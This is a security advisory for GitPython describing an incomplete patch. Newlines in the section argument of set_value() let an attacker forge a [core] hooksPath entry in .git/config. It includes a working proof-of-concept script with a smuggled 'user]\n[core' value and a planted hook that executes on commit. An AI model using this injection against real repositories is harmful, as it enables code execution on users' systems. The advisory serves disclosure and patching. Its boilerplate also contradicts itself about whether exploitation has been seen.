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GHSA-mv93-w799-cj2w
No affected components available
Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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